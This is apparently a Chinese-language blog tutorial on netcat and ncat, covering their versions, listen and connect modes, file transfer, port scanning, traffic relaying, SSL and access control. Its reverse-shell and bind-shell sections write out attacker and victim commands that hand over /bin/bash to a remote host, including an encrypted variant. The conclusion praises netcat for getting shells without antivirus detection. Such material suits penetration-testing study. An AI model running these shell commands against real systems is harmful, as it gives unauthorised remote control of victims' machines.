Netcat-你需要知道的一切

更多互联网精彩资讯、工作效率提升关注【飞鱼在浪屿】(日更新)

Netcat 是一种网络间连接和读写数据的工具,使用 TCP 或 UDP 协议。Netcat 被称为 TCP/IP/网络瑞士军刀。本文研究 netcat 的不同应用,以及如何在渗透测试、安全专家、系统管理员等的日常使用中发挥作用……

netcat 有多种版本,但大多数核心功能和命令行选项都非常相似。Netcat 最初是为 Unix 编写的,我们将看到的版本是基于 linux 的,此外你还可以找到 Windows版的 netcat。

Netcat Traditional

Netcat Traditional 是最初的版本。这不会预先安装,使用apt search netcat在ubuntu/debian 的机器上搜索,显示为netcat 或 netcat-traditional。

要安装它,您可以运行sudo apt install netcat-traditional或通过从源代码编译,可以从项目页面 获取。

GNU版本

GNU Netcat 是对原始 netcat 的重写,具有新功能并完全符合 GNU 的可移植性。它似乎也不再维护,因为它的最新版本是 2004 年的 0.7.1。

Netcat OpenBSD

Netcat OpenBSD 版本是对原始 netcat 的重写,包括对 IPv6、代理和 unix 套接字的支持。除了这些增强功能之外。

这个版本是最常见的,默认安装在 ubuntu 发行版。

通过apt search netcat在 ubuntu 机器上运行,显示为 netcat-openbsd 包。

运行sudo apt install netcat-openbsd安装 netcat 后,它会符号链接到 nc 和 netcat。我们可以通过检查 nc 和 netcat 的 realpath 来看到这一点。

可以通过运行查看可用的命令行选项netcat -h。

ncat

Ncat 是对 nmap 项目 netcat 的重新实现。此版本功能更加丰富和改进。

安装 nmap,也会安装 ncat,这适用于 windows 和 linux。然后可以运行ncat -h以查看可用的命令行选项。

我们将关注 2 个最新的版本,netcat-openbsd和ncat,因为它们是最近维护和更新的。

服务器/客户端模式

服务器模式

在服务器模式下,使用 netcat 来侦听连接。这样做是在系统上打开一个端口(tcp 或 udp)。

默认情况下,netcat 侦听 tcp。以下命令将侦听端口 8080 上的所有接口。

nc -lvnp 8080

要指定要侦听的接口,例如 localhost,使用以下语法

nc -s 127.0.0.1 -lvnp 8080 // 也可以写成: ncat -lvn 127.0.0.1 8080

监听 udp 的语法与 tcp 类似,加上-u 选项。

nc -l -u -v -n -p 8080

命令行选项可以组合在一起使用或分开使用。

客户端模式

在客户端模式下,可以使用 netcat 连接到系统上的开放端口。这用来手动检查服务或仅检查端口是否打开。

对于在端口 8080 上连接到 IP 127.0.0.1 时的 tcp 连接,语法如下。

nc -vn 127.0.0.1 8080

对于 udp 连接,添加 -u 选项。

nc -uvn 127.0.0.1 8080

反向Shell/绑定Shell

反向 shell 和绑定 shell 在渗透测试中非常流行,并且使用 netcat容易实现。

使用的命令仅适用于 ncat、netcat traditional和 gnu netcat。Netcat OpenBSD 没有这个特性,因为它认为这个功能是一个安全风险。

对于反向 shell,我们在服务器模式下使用 netcat 来侦听连接,然后从客户端提供 shell。这将允许服务器上的会话在收到 shell 后在客户端上运行命令。从渗透测试的角度来看,服务器是攻击者机器,客户端是受害者机器。

服务器(攻击者机器)

nc -lvnp 8080

客户端(受害者机器)

nc -e /bin/bash 192.168.125.10 8080

绑定贝壳

对于绑定 shell,服务器模式下的 netcat 侦听连接并将 shell 进程提供给任何连接的客户端。然后以客户端模式运行的 Netcat 可以连接到服务器并获得对服务器的 shell 访问并运行命令。从渗透测试的角度来看,服务器是受害者机器,客户端是攻击者机器。

服务器(受害者机器)

nc -e /bin/bash -lvnp 8080

客户端(攻击机)

nc 192.168.125.10 8080

文件传输

因为能够在原始连接写入数据,我们可以通过连接将文件从一个系统传输到另一个系统。

我们并不关心哪个是服务器,哪个是客户端,因为传输可以朝任一方向进行,但我们需要先运行监听器。

要通过端口 8080 将 server1 上的文件传输到 server2,可以按如下方式完成:

nc -lvnp 8080 < infile (server1) nc 192.168.125.10 8080 > outfile(server2)

在相反的方向做同样的事情:

nc 192.168.125.20 8080 < infile (server1) nc -lvnp 8080 > outfile (server2)

端口扫描

此功能未在 ncat 中实现,但在其他版本中可用。但有一个更好的工具,那就是 nmap。

如果系统有netcat-openbsd并且无法安装 nmap,那么如下运行nc做基本的端口扫描。

nc -nvv -w 1 -z 127.0.0.1 1-1000

要扫描目标上的 UDP 端口,使用以下语法。

nc -nvv -w 1 -z -u 127.0.0.1 1-1000

流量重定向

这仅适用于支持 -e 选项的版本。

以下面的场景为例,server1 不能直接连接到 server3,而只能通过 server2。

server1 <-------------> server2 <-------------> server3

要将流量从 server1 重定向到在端口 8080 上运行在 server3 (192.168.125.40) 上的 Web 应用程序,我们可以在 server2 上执行以下 ncat 命令。

nc -klvnp 8000 -e "/bin/nc 192.168.125.40 8080"

现在,通过访问 server2的端口8000来访问 server3 上的 Web 应用程序。

Ncat 附加功能

从这些功能可以看出安全风险,因为连接上没有加密,因为 netcat 将以最原始的形式写入连接,因此任何嗅探网络的人都可以在外壳和文件传输的情况下捕获未加密的所有流量。对于绑定 shell,没有身份验证,因此任何连接到绑定 shell 正在侦听的端口的人都可以在机器上运行命令。

ncat 时允许使用 ssl 以及访问控制。

加密外壳

添加--ssl到命令中

服务器

nc --ssl -lvnp 8080

客户端

nc --ssl -e /bin/bash 192.168.125.10 8080

访问控制

在服务器模式下使用 netcat 时,该--allow选项可以指定允许连接到端口的主机或网络范围,用于绑定 shell。同样,使用 –deny 拒绝来自特定主机或网络范围的访问。

nc --allow 127.0.0.1 -e /bin/bash -lvnp 8000

上面的命令将绑定 shell 设置为只接受来自本地主机的连接。

结论

Netcat 是用于网络相关活动的非常棒的工具,可以获得反向外壳并且不会被标记为病毒。

参考文献

https://en.wikipedia.org/wiki/Netcat

https://nmap.org/ncat/guide/index.html

http://netcat.sourceforge.net/

https://eternallybored.org/misc/netcat/